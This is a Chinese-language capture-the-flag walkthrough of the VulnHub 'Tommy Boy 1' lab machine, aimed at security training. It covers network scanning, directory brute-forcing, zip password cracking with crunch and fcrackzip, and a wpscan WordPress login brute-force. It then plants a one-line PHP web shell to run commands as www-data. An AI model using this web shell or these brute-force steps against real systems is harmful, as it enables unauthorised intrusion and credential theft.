vulnhub-tommyboy1通关教程

扫描到的靶机170

nmap 192.168.135.0/24 -sP

我们发现建了两个站点

nmap 192.168.135.170

我们发现namp直接扫出了robots.txt里面会有第一条flag

nmap 192.168.135.170 -p- -A

从nmap扫出的路径我们获得了一个flag,很像路径/文件。。。

flag-numero-uno.txt

B34rcl4ws

我们访问网站，这里作者提示我们到网站下找第二条flag

https://www.youtube.com/watch?v=VUxOd4CszJ8--

通过视频我们获得了第二个flag,这个需要科学，不要随便尝试

prehistoricforest

不得不掏出dirsearch了,手速要快，不然15分钟ftp下线就要等1小时，博客评论区下的评论是flag2地址。

Z4l1nsky

Dirsearch -h http://192.168.135.170/prehistoricforest/ -x 403

nikto -h http://192.168.135.170/prehistoricforest/

dirb http://192.168.135.170/prehistoricforest/ -X .php

通过dirb我们发现了CMS信息和一个目录。我们访问目录发现是一张图片。

我们将图片下载下来查看他的隐写。

exiftool shockedrichard.jpg

我们用功hash-identifier看看里面什么值

Hash-identifier

使用md5解密他们

这个spanky估计是凭证那么我们访问受保护的文件发现密码nickburns

没有招了15分钟再来登录ftp吧

ftp 192.168.135.170 65534

nickburns

dir

get readme.txt

通过ftp枚举到的信息我们发现了有个bigtom，和目录NickIzL33t，我们访问目录去枚举信息没准可以获得账号密码。

这里需要用到插件将iPhone信息转换，我们得出信息发现它还隐藏了html的信息。。。

主要是dirb太慢了我们用wfuzz模糊测试。

dirb http://192.168.135.170:8008/NickIzL33t /usr/share/wordlists/rockyou.txt -X .html

wfuzz -w /usr/share/wordlists/rockyou.txt –sc 200 http://192.168.135.170:8008/NickIzL33t/FUZZ.html

爆破出来一个html的路径，我们访问它有三个提示，1是我们社工字典的提示，2是我们的第三个flagTinyHead,3是一个zip文件下载

我们发现这个zip包解压还需要密码，我们根据提示生成社工字典。

Unzip unzip t0msp4ssw0rdz.zip

将zip包移动到桌面，我们根据提示生成字典，用工具fcrackzip来爆破zip的密码。

crunch 13 13 -t bev,%%@@^1995 -o pass.txt

fcrackzip -v -D -u -p pass.txt t0msp4ssw0rdz.zip

爆破得到zip的密码bevH00tr$1995通过解压zip文件我们获得了一个passwords.txt

unzip t0msp4ssw0rdz.zip

查看txt文件，我们发现了有四个用户其中三个是带密码的，有一个说它不太记得bigtommysenior的完整密码了，但是他将提示放在了博客站上。

cat passwords.txt

Username: BigTommyC//Password: money

Username: TomC//Password: wedding

Username: bigtommysenior//Password: fatguyinalittlecoat

Username: bigtom(I think?)//Password: ???

我们之前再dirsearch枚举时发现了他的CMS，那我们就用wpscan来爆一下他的后台

wpscan --url http://192.168.135.170/prehistoricforest/ -eu

这里我们又发现了几个用户名tommy//Richard//tom//Tom Jr//Big Tom//michelle,根据之前再博客站上面他们的讨论发现我们要爆破tom的密码来登录tom。

那么我们就用wpscan来爆破tom的后台登录密码。爆破出tom的密码是tomtom1

wpscan -U tom -P /usr/share/wordlists/rockyou.txt --max-threads 50 --url http://192.168.135.170/prehistoricforest/

进入后台我们也能发现再首页发现的flag2信息。

从这里我们发现了bigtommysenior缺失的密码信息1938!!那么完整的密码就是fatguyinalittlecoat1938!!

我们登录bigtommysenior//fatguyinalittlecoat1938!!的ssh

ssh bigtommysenior@192.168.135.170

在当前用户下我们发现了第四个flag信息EditButton

cat el-flag-numero-quatro.txt

我们手工枚举一下信息，发现可以用内核提权，运行MySQL但是是本地运行而且不是root运行的无法udf提权

Ps -aux | grep mysql

Ss -plunt | grep 3306

根据枚举到的信息提示说我们需要将所以的flag合并并修复网页才能获得信息。。。并解压压缩包

B34rcl4ws-Z4l1nsky-TinyHead-EditButton

B34rcl4wsZ4l1nskyTinyHeadEditButton

www-data是.5.txt的所有者，需要拿到www-data的shell可以读取

我们在jobs站的目录下发现flag3信息TinyHead

除了flag3我们还发现了一个目录P4TCH_4D4MS，进到目录里发现文件上传

尝试发现无法上传php-reserver-shell.php,白名单限制只能上传图片，我们直接在网站目录下写入木马yang.php，执行命令。

<?php system($GET_[‘cmd’]); ?>

访问目录uploads,发现回显空白说明脚本执行，我们执行cmd命令。

/uploads/yang.php?cmd=id

当我们能够在www-data执行命令相当于执行了shell，我们就可以查看.5.txt的内容

这里他告诉我们第五个flag-Buttcrack

通过查看内容发现这个zip的密码就是把我们之前拿到的所有flag合在一起。

B34rcl4ws-Z4l1nsky-TinyHead-EditButton-Buttcrack

B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack

拿完flag，解压zip我们的任务就结束了。

B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack

但是我们还是要提权，记得内核提权吗？简简单单，我就不给出命令了。

这里GCC编译也不用太头疼，都会给方法，虽说刚开始我也好奇

这里没有flag？没事这靶机我们拿了5个了够了。。。这台靶机就是考验我们信息收集的能力，总结一下就是我们收集到的robots拿到第一个flag，从视频上知道的目录获取到flag2的位置，在未建立好的网站上我们发现了账号密码的关键信息（一些前置信息我们从java的邮件服务获取smtp/pop），还获得了flag3。登录ssh就发现了flag4，在网站目录下我们发现了upload，我们通过一句话木马执行命令查看.5.txt信息拿到flag5，将他们合成解压密码通过。我们用内核提权获得root权限，虽说这关不需要。